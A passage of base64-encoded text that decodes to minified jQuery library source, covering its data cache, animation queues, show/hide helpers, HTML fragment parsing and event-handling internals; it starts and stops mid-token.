cmV0dXJuIHQudG9VcHBlckNhc2UoKX1mdW5jdGlvbiBWKGUpe3JldHVybiBlLnJlcGxhY2UoeiwibXMtIikucmVwbGFjZShVLFgpfXZhciBHPWZ1bmN0aW9uKGUpe3JldHVybiAxPT09ZS5ub2RlVHlwZXx8OT09PWUubm9kZVR5cGV8fCErZS5ub2RlVHlwZX07ZnVuY3Rpb24gWSgpe3RoaXMuZXhwYW5kbz1rLmV4cGFuZG8rWS51aWQrK31ZLnVpZD0xLFkucHJvdG90eXBlPXtjYWNoZTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHR8fCh0PXt9LEcoZSkmJihlLm5vZGVUeXBlP2VbdGhpcy5leHBhbmRvXT10Ok9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLHRoaXMuZXhwYW5kbyx7dmFsdWU6dCxjb25maWd1cmFibGU6ITB9KSkpLHR9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT10aGlzLmNhY2hlKGUpO2lmKCJzdHJpbmciPT10eXBlb2YgdClpW1YodCldPW47ZWxzZSBmb3IociBpbiB0KWlbVihyKV09dFtyXTtyZXR1cm4gaX0sZ2V0OmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHZvaWQgMD09PXQ/dGhpcy5jYWNoZShlKTplW3RoaXMuZXhwYW5kb10mJmVbdGhpcy5leHBhbmRvXVtWKHQpXX0sYWNjZXNzOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdm9pZCAwPT09dHx8dCYmInN0cmluZyI9PXR5cGVvZiB0JiZ2b2lkIDA9PT1uP3RoaXMuZ2V0KGUsdCk6KHRoaXMuc2V0KGUsdCxuKSx2b2lkIDAhPT1uP246dCl9LHJlbW92ZTpmdW5jdGlvbihlLHQpe3ZhciBuLHI9ZVt0aGlzLmV4cGFuZG9dO2lmKHZvaWQgMCE9PXIpe2lmKHZvaWQgMCE9PXQpe249KHQ9QXJyYXkuaXNBcnJheSh0KT90Lm1hcChWKToodD1WKHQpKWluIHI/W3RdOnQubWF0Y2goUil8fFtdKS5sZW5ndGg7d2hpbGUobi0tKWRlbGV0ZSByW3Rbbl1dfSh2b2lkIDA9PT10fHxrLmlzRW1wdHlPYmplY3QocikpJiYoZS5ub2RlVHlwZT9lW3RoaXMuZXhwYW5kb109dm9pZCAwOmRlbGV0ZSBlW3RoaXMuZXhwYW5kb10pfX0saGFzRGF0YTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHZvaWQgMCE9PXQmJiFrLmlzRW1wdHlPYmplY3QodCl9fTt2YXIgUT1uZXcgWSxKPW5ldyBZLEs9L14oPzpce1tcd1xXXSpcfXxcW1tcd1xXXSpcXSkkLyxaPS9bQS1aXS9nO2Z1bmN0aW9uIGVlKGUsdCxuKXt2YXIgcixpO2lmKHZvaWQgMD09PW4mJjE9PT1lLm5vZGVUeXBlKWlmKHI9ImRhdGEtIit0LnJlcGxhY2UoWiwiLSQmIikudG9Mb3dlckNhc2UoKSwic3RyaW5nIj09dHlwZW9mKG49ZS5nZXRBdHRyaWJ1dGUocikpKXt0cnl7bj0idHJ1ZSI9PT0oaT1uKXx8ImZhbHNlIiE9PWkmJigibnVsbCI9PT1pP251bGw6aT09PStpKyIiPytpOksudGVzdChpKT9KU09OLnBhcnNlKGkpOmkpfWNhdGNoKGUpe31KLnNldChlLHQsbil9ZWxzZSBuPXZvaWQgMDtyZXR1cm4gbn1rLmV4dGVuZCh7aGFzRGF0YTpmdW5jdGlvbihlKXtyZXR1cm4gSi5oYXNEYXRhKGUpfHxRLmhhc0RhdGEoZSl9LGRhdGE6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBKLmFjY2VzcyhlLHQsbil9LHJlbW92ZURhdGE6ZnVuY3Rpb24oZSx0KXtKLnJlbW92ZShlLHQpfSxfZGF0YTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIFEuYWNjZXNzKGUsdCxuKX0sX3JlbW92ZURhdGE6ZnVuY3Rpb24oZSx0KXtRLnJlbW92ZShlLHQpfX0pLGsuZm4uZXh0ZW5kKHtkYXRhOmZ1bmN0aW9uKG4sZSl7dmFyIHQscixpLG89dGhpc1swXSxhPW8mJm8uYXR0cmlidXRlcztpZih2b2lkIDA9PT1uKXtpZih0aGlzLmxlbmd0aCYmKGk9Si5nZXQobyksMT09PW8ubm9kZVR5cGUmJiFRLmdldChvLCJoYXNEYXRhQXR0cnMiKSkpe3Q9YS5sZW5ndGg7d2hpbGUodC0tKWFbdF0mJjA9PT0ocj1hW3RdLm5hbWUpLmluZGV4T2YoImRhdGEtIikmJihyPVYoci5zbGljZSg1KSksZWUobyxyLGlbcl0pKTtRLnNldChvLCJoYXNEYXRhQXR0cnMiLCEwKX1yZXR1cm4gaX1yZXR1cm4ib2JqZWN0Ij09dHlwZW9mIG4/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7Si5zZXQodGhpcyxuKX0pOl8odGhpcyxmdW5jdGlvbihlKXt2YXIgdDtpZihvJiZ2b2lkIDA9PT1lKXJldHVybiB2b2lkIDAhPT0odD1KLmdldChvLG4pKT90OnZvaWQgMCE9PSh0PWVlKG8sbikpP3Q6dm9pZCAwO3RoaXMuZWFjaChmdW5jdGlvbigpe0ouc2V0KHRoaXMsbixlKX0pfSxudWxsLGUsMTxhcmd1bWVudHMubGVuZ3RoLG51bGwsITApfSxyZW1vdmVEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtKLnJlbW92ZSh0aGlzLGUpfSl9fSksay5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZihlKXJldHVybiB0PSh0fHwiZngiKSsicXVldWUiLHI9US5nZXQoZSx0KSxuJiYoIXJ8fEFycmF5LmlzQXJyYXkobik/cj1RLmFjY2VzcyhlLHQsay5tYWtlQXJyYXkobikpOnIucHVzaChuKSkscnx8W119LGRlcXVldWU6ZnVuY3Rpb24oZSx0KXt0PXR8fCJmeCI7dmFyIG49ay5xdWV1ZShlLHQpLHI9bi5sZW5ndGgsaT1uLnNoaWZ0KCksbz1rLl9xdWV1ZUhvb2tzKGUsdCk7ImlucHJvZ3Jlc3MiPT09aSYmKGk9bi5zaGlmdCgpLHItLSksaSYmKCJmeCI9PT10JiZuLnVuc2hpZnQoImlucHJvZ3Jlc3MiKSxkZWxldGUgby5zdG9wLGkuY2FsbChlLGZ1bmN0aW9uKCl7ay5kZXF1ZXVlKGUsdCl9LG8pKSwhciYmbyYmby5lbXB0eS5maXJlKCl9LF9xdWV1ZUhvb2tzOmZ1bmN0aW9uKGUsdCl7dmFyIG49dCsicXVldWVIb29rcyI7cmV0dXJuIFEuZ2V0KGUsbil8fFEuYWNjZXNzKGUsbix7ZW1wdHk6ay5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IikuYWRkKGZ1bmN0aW9uKCl7US5yZW1vdmUoZSxbdCsicXVldWUiLG5dKX0pfSl9fSksay5mbi5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKHQsbil7dmFyIGU9MjtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIHQmJihuPXQsdD0iZngiLGUtLSksYXJndW1lbnRzLmxlbmd0aDxlP2sucXVldWUodGhpc1swXSx0KTp2b2lkIDA9PT1uP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9ay5xdWV1ZSh0aGlzLHQsbik7ay5fcXVldWVIb29rcyh0aGlzLHQpLCJmeCI9PT10JiYiaW5wcm9ncmVzcyIhPT1lWzBdJiZrLmRlcXVldWUodGhpcyx0KX0pfSxkZXF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtrLmRlcXVldWUodGhpcyxlKX0pfSxjbGVhclF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnF1ZXVlKGV8fCJmeCIsW10pfSxwcm9taXNlOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0xLGk9ay5EZWZlcnJlZCgpLG89dGhpcyxhPXRoaXMubGVuZ3RoLHM9ZnVuY3Rpb24oKXstLXJ8fGkucmVzb2x2ZVdpdGgobyxbb10pfTsic3RyaW5nIiE9dHlwZW9mIGUmJih0PWUsZT12b2lkIDApLGU9ZXx8ImZ4Ijt3aGlsZShhLS0pKG49US5nZXQob1thXSxlKyJxdWV1ZUhvb2tzIikpJiZuLmVtcHR5JiYocisrLG4uZW1wdHkuYWRkKHMpKTtyZXR1cm4gcygpLGkucHJvbWlzZSh0KX19KTt2YXIgdGU9L1srLV0/KD86XGQqXC58KVxkKyg/OltlRV1bKy1dP1xkK3wpLy5zb3VyY2UsbmU9bmV3IFJlZ0V4cCgiXig/OihbKy1dKT18KSgiK3RlKyIpKFthLXolXSopJCIsImkiKSxyZT1bIlRvcCIsIlJpZ2h0IiwiQm90dG9tIiwiTGVmdCJdLGllPUUuZG9jdW1lbnRFbGVtZW50LG9lPWZ1bmN0aW9uKGUpe3JldHVybiBrLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKX0sYWU9e2NvbXBvc2VkOiEwfTtpZS5nZXRSb290Tm9kZSYmKG9lPWZ1bmN0aW9uKGUpe3JldHVybiBrLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKXx8ZS5nZXRSb290Tm9kZShhZSk9PT1lLm93bmVyRG9jdW1lbnR9KTt2YXIgc2U9ZnVuY3Rpb24oZSx0KXtyZXR1cm4ibm9uZSI9PT0oZT10fHxlKS5zdHlsZS5kaXNwbGF5fHwiIj09PWUuc3R5bGUuZGlzcGxheSYmb2UoZSkmJiJub25lIj09PWsuY3NzKGUsImRpc3BsYXkiKX0sdWU9ZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbyxhPXt9O2ZvcihvIGluIHQpYVtvXT1lLnN0eWxlW29dLGUuc3R5bGVbb109dFtvXTtmb3IobyBpbiBpPW4uYXBwbHkoZSxyfHxbXSksdCllLnN0eWxlW29dPWFbb107cmV0dXJuIGl9O2Z1bmN0aW9uIGxlKGUsdCxuLHIpe3ZhciBpLG8sYT0yMCxzPXI/ZnVuY3Rpb24oKXtyZXR1cm4gci5jdXIoKX06ZnVuY3Rpb24oKXtyZXR1cm4gay5jc3MoZSx0LCIiKX0sdT1zKCksbD1uJiZuWzNdfHwoay5jc3NOdW1iZXJbdF0/IiI6InB4IiksYz1lLm5vZGVUeXBlJiYoay5jc3NOdW1iZXJbdF18fCJweCIhPT1sJiYrdSkmJm5lLmV4ZWMoay5jc3MoZSx0KSk7aWYoYyYmY1szXSE9PWwpe3UvPTIsbD1sfHxjWzNdLGM9K3V8fDE7d2hpbGUoYS0tKWsuc3R5bGUoZSx0LGMrbCksKDEtbykqKDEtKG89cygpL3V8fC41KSk8PTAmJihhPTApLGMvPW87Yyo9MixrLnN0eWxlKGUsdCxjK2wpLG49bnx8W119cmV0dXJuIG4mJihjPStjfHwrdXx8MCxpPW5bMV0/YysoblsxXSsxKSpuWzJdOituWzJdLHImJihyLnVuaXQ9bCxyLnN0YXJ0PWMsci5lbmQ9aSkpLGl9dmFyIGNlPXt9O2Z1bmN0aW9uIGZlKGUsdCl7Zm9yKHZhciBuLHIsaSxvLGEscyx1LGw9W10sYz0wLGY9ZS5sZW5ndGg7YzxmO2MrKykocj1lW2NdKS5zdHlsZSYmKG49ci5zdHlsZS5kaXNwbGF5LHQ/KCJub25lIj09PW4mJihsW2NdPVEuZ2V0KHIsImRpc3BsYXkiKXx8bnVsbCxsW2NdfHwoci5zdHlsZS5kaXNwbGF5PSIiKSksIiI9PT1yLnN0eWxlLmRpc3BsYXkmJnNlKHIpJiYobFtjXT0odT1hPW89dm9pZCAwLGE9KGk9cikub3duZXJEb2N1bWVudCxzPWkubm9kZU5hbWUsKHU9Y2Vbc10pfHwobz1hLmJvZHkuYXBwZW5kQ2hpbGQoYS5jcmVhdGVFbGVtZW50KHMpKSx1PWsuY3NzKG8sImRpc3BsYXkiKSxvLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobyksIm5vbmUiPT09dSYmKHU9ImJsb2NrIiksY2Vbc109dSkpKSk6Im5vbmUiIT09biYmKGxbY109Im5vbmUiLFEuc2V0KHIsImRpc3BsYXkiLG4pKSk7Zm9yKGM9MDtjPGY7YysrKW51bGwhPWxbY10mJihlW2NdLnN0eWxlLmRpc3BsYXk9bFtjXSk7cmV0dXJuIGV9ay5mbi5leHRlbmQoe3Nob3c6ZnVuY3Rpb24oKXtyZXR1cm4gZmUodGhpcywhMCl9LGhpZGU6ZnVuY3Rpb24oKXtyZXR1cm4gZmUodGhpcyl9LHRvZ2dsZTpmdW5jdGlvbihlKXtyZXR1cm4iYm9vbGVhbiI9PXR5cGVvZiBlP2U/dGhpcy5zaG93KCk6dGhpcy5oaWRlKCk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7c2UodGhpcyk/ayh0aGlzKS5zaG93KCk6ayh0aGlzKS5oaWRlKCl9KX19KTt2YXIgcGU9L14oPzpjaGVja2JveHxyYWRpbykkL2ksZGU9LzwoW2Etel1bXlwvXDA+XHgyMFx0XHJcblxmXSopL2ksaGU9L14kfF5tb2R1bGUkfFwvKD86amF2YXxlY21hKXNjcmlwdC9pLGdlPXtvcHRpb246WzEsIjxzZWxlY3QgbXVsdGlwbGU9J211bHRpcGxlJz4iLCI8L3NlbGVjdD4iXSx0aGVhZDpbMSwiPHRhYmxlPiIsIjwvdGFibGU+Il0sY29sOlsyLCI8dGFibGU+PGNvbGdyb3VwPiIsIjwvY29sZ3JvdXA+PC90YWJsZT4iXSx0cjpbMiwiPHRhYmxlPjx0Ym9keT4iLCI8L3Rib2R5PjwvdGFibGU+Il0sdGQ6WzMsIjx0YWJsZT48dGJvZHk+PHRyPiIsIjwvdHI+PC90Ym9keT48L3RhYmxlPiJdLF9kZWZhdWx0OlswLCIiLCIiXX07ZnVuY3Rpb24gdmUoZSx0KXt2YXIgbjtyZXR1cm4gbj0idW5kZWZpbmVkIiE9dHlwZW9mIGUuZ2V0RWxlbWVudHNCeVRhZ05hbWU/ZS5nZXRFbGVtZW50c0J5VGFnTmFtZSh0fHwiKiIpOiJ1bmRlZmluZWQiIT10eXBlb2YgZS5xdWVyeVNlbGVjdG9yQWxsP2UucXVlcnlTZWxlY3RvckFsbCh0fHwiKiIpOltdLHZvaWQgMD09PXR8fHQmJkEoZSx0KT9rLm1lcmdlKFtlXSxuKTpufWZ1bmN0aW9uIHllKGUsdCl7Zm9yKHZhciBuPTAscj1lLmxlbmd0aDtuPHI7bisrKVEuc2V0KGVbbl0sImdsb2JhbEV2YWwiLCF0fHxRLmdldCh0W25dLCJnbG9iYWxFdmFsIikpfWdlLm9wdGdyb3VwPWdlLm9wdGlvbixnZS50Ym9keT1nZS50Zm9vdD1nZS5jb2xncm91cD1nZS5jYXB0aW9uPWdlLnRoZWFkLGdlLnRoPWdlLnRkO3ZhciBtZSx4ZSxiZT0vPHwmIz9cdys7LztmdW5jdGlvbiB3ZShlLHQsbixyLGkpe2Zvcih2YXIgbyxhLHMsdSxsLGMsZj10LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKSxwPVtdLGQ9MCxoPWUubGVuZ3RoO2Q8aDtkKyspaWYoKG89ZVtkXSl8fDA9PT1vKWlmKCJvYmplY3QiPT09dyhvKSlrLm1lcmdlKHAsby5ub2RlVHlwZT9bb106byk7ZWxzZSBpZihiZS50ZXN0KG8pKXthPWF8fGYuYXBwZW5kQ2hpbGQodC5jcmVhdGVFbGVtZW50KCJkaXYiKSkscz0oZGUuZXhlYyhvKXx8WyIiLCIiXSlbMV0udG9Mb3dlckNhc2UoKSx1PWdlW3NdfHxnZS5fZGVmYXVsdCxhLmlubmVySFRNTD11WzFdK2suaHRtbFByZWZpbHRlcihvKSt1WzJdLGM9dVswXTt3aGlsZShjLS0pYT1hLmxhc3RDaGlsZDtrLm1lcmdlKHAsYS5jaGlsZE5vZGVzKSwoYT1mLmZpcnN0Q2hpbGQpLnRleHRDb250ZW50PSIifWVsc2UgcC5wdXNoKHQuY3JlYXRlVGV4dE5vZGUobykpO2YudGV4dENvbnRlbnQ9IiIsZD0wO3doaWxlKG89cFtkKytdKWlmKHImJi0xPGsuaW5BcnJheShvLHIpKWkmJmkucHVzaChvKTtlbHNlIGlmKGw9b2UobyksYT12ZShmLmFwcGVuZENoaWxkKG8pLCJzY3JpcHQiKSxsJiZ5ZShhKSxuKXtjPTA7d2hpbGUobz1hW2MrK10paGUudGVzdChvLnR5cGV8fCIiKSYmbi5wdXNoKG8pfXJldHVybiBmfW1lPUUuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpLmFwcGVuZENoaWxkKEUuY3JlYXRlRWxlbWVudCgiZGl2IikpLCh4ZT1FLmNyZWF0ZUVsZW1lbnQoImlucHV0IikpLnNldEF0dHJpYnV0ZSgidHlwZSIsInJhZGlvIikseGUuc2V0QXR0cmlidXRlKCJjaGVja2VkIiwiY2hlY2tlZCIpLHhlLnNldEF0dHJpYnV0ZSgibmFtZSIsInQiKSxtZS5hcHBlbmRDaGlsZCh4ZSkseS5jaGVja0Nsb25lPW1lLmNsb25lTm9kZSghMCkuY2xvbmVOb2RlKCEwKS5sYXN0Q2hpbGQuY2hlY2tlZCxtZS5pbm5lckhUTUw9Ijx0ZXh0YXJlYT54PC90ZXh0YXJlYT4iLHkubm9DbG9uZUNoZWNrZWQ9ISFtZS5jbG9uZU5vZGUoITApLmxhc3RDaGlsZC5kZWZhdWx0VmFsdWU7dmFyIFRlPS9ea2V5LyxDZT0vXig/Om1vdXNlfHBvaW50ZXJ8Y29udGV4dG1lbnV8ZHJhZ3xkcm9wKXxjbGljay8sRWU9L14oW14uXSopKD86XC4oLispfCkvO2Z1bmN0aW9uIGtlKCl7cmV0dXJuITB9ZnVuY3Rpb24gU2UoKXtyZXR1cm4hMX1mdW5jdGlvbiBOZShlLHQpe3JldHVybiBlPT09ZnVuY3Rpb24oKXt0cnl7cmV0dXJuIEUuYWN0aXZlRWxlbWVudH1jYXRjaChlKXt9fSgpPT0oImZvY3VzIj09PXQpfWZ1bmN0aW9uIEFlKGUsdCxuLHIsaSxvKXt2YXIgYSxzO2lmKCJvYmplY3QiPT10eXBlb2YgdCl7Zm9yKHMgaW4ic3RyaW5nIiE9dHlwZW9mIG4mJihyPXJ8fG4sbj12b2lkIDApLHQpQWUoZSxzLG4scix0W3NdLG8pO3JldHVybiBlfWlmKG51bGw9PXImJm51bGw9PWk/KGk9bixyPW49dm9pZCAwKTpudWxsPT1pJiYoInN0cmluZyI9PXR5cGVvZiBuPyhpPXIscj12b2lkIDApOihpPXIscj1uLG49dm9pZCAwKSksITE9PT1pKWk9U2U7ZWxzZSBpZighaSlyZXR1cm4gZTtyZXR1cm4gMT09PW8mJihhPWksKGk9ZnVuY3Rpb24oZSl7cmV0dXJuIGsoKS5vZmYoZSksYS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9KS5ndWlkPWEuZ3VpZHx8KGEuZ3VpZD1rLmd1aWQrKykpLGUuZWFjaChmdW5jdGlvbigpe2suZXZlbnQuYWRkKHRoaXMsdCxpLHIsbil9KX1mdW5jdGlvbiBEZShlLGksbyl7bz8oUS5zZXQoZSxpLCExKSxrLmV2ZW50LmFkZChlLGkse25hbWVzcGFjZTohMSxoYW5kbGVyOmZ1bmN0aW9uKGUpe3ZhciB0LG4scj1RLmdldCh0aGlzLGkpO2lmKDEmZS5pc1RyaWdnZXImJnRoaXNbaV0pe2lmKHIubGVuZ3RoKShrLmV2ZW50LnNwZWNpYWxbaV18fHt9KS5kZWxlZ2F0ZVR5cGUmJmUuc3RvcFByb3BhZ2F0aW9uKCk7ZWxzZSBpZihyPXMuY2FsbChhcmd1bWVudHMpLFEuc2V0KHRoaXMsaSxyKSx0PW8odGhpcyxpKSx0aGlzW2ldKCksciE9PShuPVEuZ2V0KHRoaXMsaSkpfHx0P1Euc2V0KHRoaXMsaSwhMSk6bj17fSxyIT09bilyZXR1cm4gZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSxlLnByZXZlbnREZWZhdWx0KCksbi52YWx1ZX1lbHNlIHIubGVuZ3RoJiYoUS5zZXQodGhpcyxpLHt2YWx1ZTprLmV2ZW50LnRyaWdnZXIoay5leHRlbmQoclswXSxrLkV2ZW50LnByb3RvdHlwZSksci5zbGljZSgxKSx0aGlzKX0pLGUuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCkpfX0pKTp2b2lkIDA9PT1RLmdldChlLGkpJiZrLmV2ZW50LmFkZChlLGksa2UpfWsuZXZlbnQ9e2dsb2JhbDp7fSxhZGQ6ZnVuY3Rpb24odCxlLG4scixpKXt2YXIgbyxhLHMsdSxsLGMsZixwLGQsaCxnLHY9US5nZXQodCk7aWYodil7bi5oYW5kbGVyJiYobj0obz1uKS5oYW5kbGVyLGk9by5zZWxlY3RvciksaSYmay5maW5kLm1hdGNoZXNTZWxlY3RvcihpZSxpKSxuLmd1aWR8fChuLmd1aWQ9ay5ndWlkKyspLCh1PXYuZXZlbnRzKXx8KHU9di5ldmVudHM9e30pLChhPXYuaGFuZGxlKXx8KGE9di5oYW5kbGU9ZnVuY3Rpb24oZSl7cmV0dXJuInVuZGVmaW5lZCIhPXR5cGVvZiBrJiZrLmV2ZW50LnRyaWdnZXJlZCE9PWUudHlwZT9rLmV2ZW50LmRpc3BhdGNoLmFwcGx5KHQsYXJndW1lbnRzKTp2b2lkIDB9KSxsPShlPShlfHwiIikubWF0Y2goUil8fFsiIl0pLmxlbmd0aDt3aGlsZShsLS0pZD1nPShzPUVlLmV4ZWMoZVtsXSl8fFtdKVsxXSxoPShzWzJdfHwiIikuc3BsaXQoIi4iKS5zb3J0KCksZCYmKGY9ay5ldmVudC5zcGVjaWFsW2RdfHx7fSxkPShpP2YuZGVsZWdhdGVUeXBlOmYuYmluZFR5cGUpfHxkLGY9ay5ldmVudC5zcGVjaWFsW2RdfHx7fSxjPWsuZXh0ZW5kKHt0eXBlOmQsb3JpZ1R5cGU6ZyxkYXRhOnIsaGFuZGxlcjpuLGd1aWQ6bi5ndWlkLHNlbGVjdG9yOmksbmVlZHNDb250ZXh0OmkmJmsuZXhwci5tYXRjaC5uZWVkc0NvbnRleHQudGVzdChpKSxuYW1lc3BhY2U6aC5qb2luKCIuIil9LG8pLChwPXVbZF0pfHwoKHA9dVtkXT1bXSkuZGVsZWdhdGVDb3VudD0wLGYuc2V0dXAmJiExIT09Zi5zZXR1cC5jYWxsKHQscixoLGEpfHx0LmFkZEV2ZW50TGlzdGVuZXImJnQuYWRkRXZlbnRMaXN0ZW5lcihkLGEpKSxmLmFkZCYmKGYuYWRkLmNhbGwodCxjKSxjLmhhbmRsZXIuZ3VpZHx8KGMuaGFuZGxlci5ndWlkPW4uZ3VpZCkpLGk/cC5zcGxpY2UocC5kZWxlZ2F0ZUNvdW50KyssMCxjKTpwLnB1c2goYyksay5ldmVudC5nbG9iYWxbZF09ITApfX0scmVtb3ZlOmZ1bmN0aW9uKGUsdCxuLHIsaSl7dmFyIG8sYSxzLHUsbCxjLGYscCxkLGgsZyx2PVEuaGFzRGF0YShlKSYmUS5nZXQoZSk7aWYodiYmKHU9di5ldmVudHMpKXtsPSh0PSh0fHwiIikubWF0Y2goUil8fFsiIl0pLmxlbmd0aDt3aGlsZShsLS0paWYoZD1nPShzPUVlLmV4ZWModFtsXSl8fFtdKVsxXSxoPShzWzJdfHwiIikuc3BsaXQoIi4iKS5zb3J0KCksZCl7Zj1rLmV2ZW50LnNwZWNpYWxbZF18fHt9LHA9dVtkPShyP2YuZGVsZWdhdGVUeXBlOmYuYmluZFR5cGUpfHxkXXx8W10scz1zWzJdJiZuZXcgUmVnRXhwKCIoXnxcXC4pIitoLmpvaW4oIlxcLig/Oi4qXFwufCkiKSsiKFxcLnwkKSIpLGE9bz1wLmxlbmd0aDt3aGlsZShvLS0pYz1wW29dLCFpJiZnIT09Yy5vcmlnVHlwZXx8biYmbi5ndWlkIT09Yy5ndWlkfHxzJiYhcy50ZXN0KGMubmFtZXNwYWNlKXx8ciYmciE9PWMuc2VsZWN0b3ImJigiKioiIT09cnx8IWMuc2VsZWN0b3IpfHwocC5zcGxpY2UobywxKSxjLnNlbGVjdG9yJiZwLmRlbGVnYXRlQ291bnQtLSxmLnJlbW92ZSYmZi5yZW1vdmUuY2FsbChlLGMpKTthJiYhcC5sZW5ndGgmJihmLnRlYXJkb3duJiYhMSE9PWYudGVhcmRvd24uY2FsbChlLGgsdi5oYW5kbGUpfHxrLnJlbW92ZUV2ZW50KGUsZCx2LmhhbmRsZSksZGVsZXRlIHVbZF0pfWVsc2UgZm9yKGQgaW4gdSlrLmV2ZW50LnJlbW92ZShlLGQrdFtsXSxuLHIsITApO2suaXNFbXB0eU9iamVjdCh1KSYmUS5yZW1vdmUoZSwiaGFuZGxlIGV2ZW50cyIpfX0sZGlzcGF0Y2g6ZnVuY3Rpb24oZSl7dmFyIHQsbixyLGksbyxhLHM9ay5ldmVudC5maXgoZSksdT1uZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aCksbD0oUS5nZXQodGhpcywiZXZlbnRzIil8fHt9KVtzLnR5cGVdfHxbXSxjPWsuZXZlbnQuc3BlY2lhbFtzLnR5cGVdfHx7fTtmb3IodVswXT1zLHQ9MTt0PGFyZ3VtZW50cy5sZW5ndGg7dCsrKXVbdF09YXJndW1lbnRzW3RdO2lmKHMuZGVsZWdhdGVUYXJnZXQ9dGhpcywhYy5wcmVEaXNwYXRjaHx8ITEhPT1jLnByZURpc3BhdGNoLmNhbGwodGhpcyxzKSl7YT1rLmV2ZW50LmhhbmRsZXJzLmNhbGwodGhpcyxzLGwpLHQ9MDt3aGlsZSgoaT1hW3QrK10pJiYhcy5pc1Byb3BhZ2F0aW9uU3RvcHBlZCgpKXtzLmN1cnJlbnRUYXJnZXQ9aS5lbGVtLG49MDt3aGlsZSgobz1pLmhhbmRsZXJzW24rK10pJiYhcy5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZCgpKXMucm5hbWVzcGFjZSYmITEhPT1vLm5hbWVzcGFjZSYmIXMucm5hbWVzcGFjZS50ZXN0KG8ubmFtZXNwYWNlKXx8KHMuaGFuZGxlT2JqPW8scy5kYXRhPW8uZGF0YSx2b2lkIDAhPT0ocj0oKGsuZXZlbnQuc3BlY2lhbFtvLm9yaWdUeXBlXXx8e30pLmhhbmRsZXx8by5oYW5kbGVyKS5hcHBseShpLmVsZW0sdSkpJiYhMT09PShzLnJlc3VsdD1yKSYmKHMucHJldmVudERlZmF1bHQoKSxzLnN0b3BQcm9wYWdhdGlvbigpKSl9cmV0dXJuIGMucG9zdERpc3BhdGNoJiZjLnBvc3REaXNwYXRjaC5jYWxsKHRoaXMscykscy5yZXN1bHR9fSxoYW5kbGVyczpmdW5jdGlvbihlLHQpe3ZhciBuLHIsaSxvLGEscz1bXSx1PXQuZGVsZWdhdGVDb3VudCxsPWUudGFyZ2V0O2lmKHUmJmwubm9kZVR5cGUmJiEoImNsaWNrIj09PWUudHlwZSYmMTw9ZS5idXR0b24pKWZvcig7bCE9PXRoaXM7bD1sLnBhcmVudE5vZGV8fHRoaXMpaWYoMT09PWwubm9kZVR5cGUmJigiY2xpY2siIT09ZS50eXBlfHwhMCE9PWwuZGlzYWJsZWQpKXtmb3Iobz1bXSxhPXt9LG49MDtuPHU7bisrKXZvaWQgMD09PWFbaT0ocj10W25dKS5zZWxlY3RvcisiICJdJiYoYVtpXT1yLm5lZWRzQ29udGV4dD8tMTxrKGksdGhpcykuaW5kZXgobCk6ay5maW5kKGksdGhpcyxudWxsLFtsXSkubGVuZ3RoKSxhW2ldJiZvLnB1c2gocik7by5sZW5ndGgmJnMucHVzaCh7ZWxlbTpsLGhhbmRsZXJzOm99KX1yZXR1cm4gbD10aGlzLHU8dC5sZW5ndGgmJnMucHVzaCh7ZWxlbTpsLGhhbmRsZXJzOnQuc2xpY2UodSl9KSxzfSxhZGRQcm9wOmZ1bmN0aW9uKHQsZSl7T2JqZWN0LmRlZmluZVByb3BlcnR5KGsuRXZlbnQucHJvdG90eXBlLHQse2VudW1lcmFibGU6ITAsY29uZmlndXJhYmxlOiEwLGdldDptKGUpP2Z1bmN0aW9uKCl7aWYodGhpcy5vcmlnaW5hbEV2ZW50KXJldHVybiBlKHRoaXMub3JpZ2luYWxFdmVudCl9OmZ1bmN0aW9uKCl7aWYodGhpcy5vcmlnaW5hbEV2ZW50KXJldHVybiB0aGlzLm9yaWdpbmFsRXZlbnRbdF19LHNldDpmdW5jdGlvbihlKXtPYmplY3QuZGVmaW5lUHJvcGVydHkodGhpcyx0LHtlbnVtZXJhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMCx3cml0YWJsZTohMCx2YWx1ZTplfSl9fSl9LGZpeDpmdW5jdGlvbihlKXtyZXR1cm4gZVtrLmV4cGFuZG9dP2U6bmV3IGsuRXZlbnQoZSl9LHNwZWNpYWw6e2xvYWQ6e25vQnViYmxlOiEwfSxjbGljazp7c2V0dXA6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc3x8ZTtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJkRlKHQsImNsaWNrIixrZSksITF9LHRyaWdnZXI6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc3x8ZTtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJkRlKHQsImNsaWN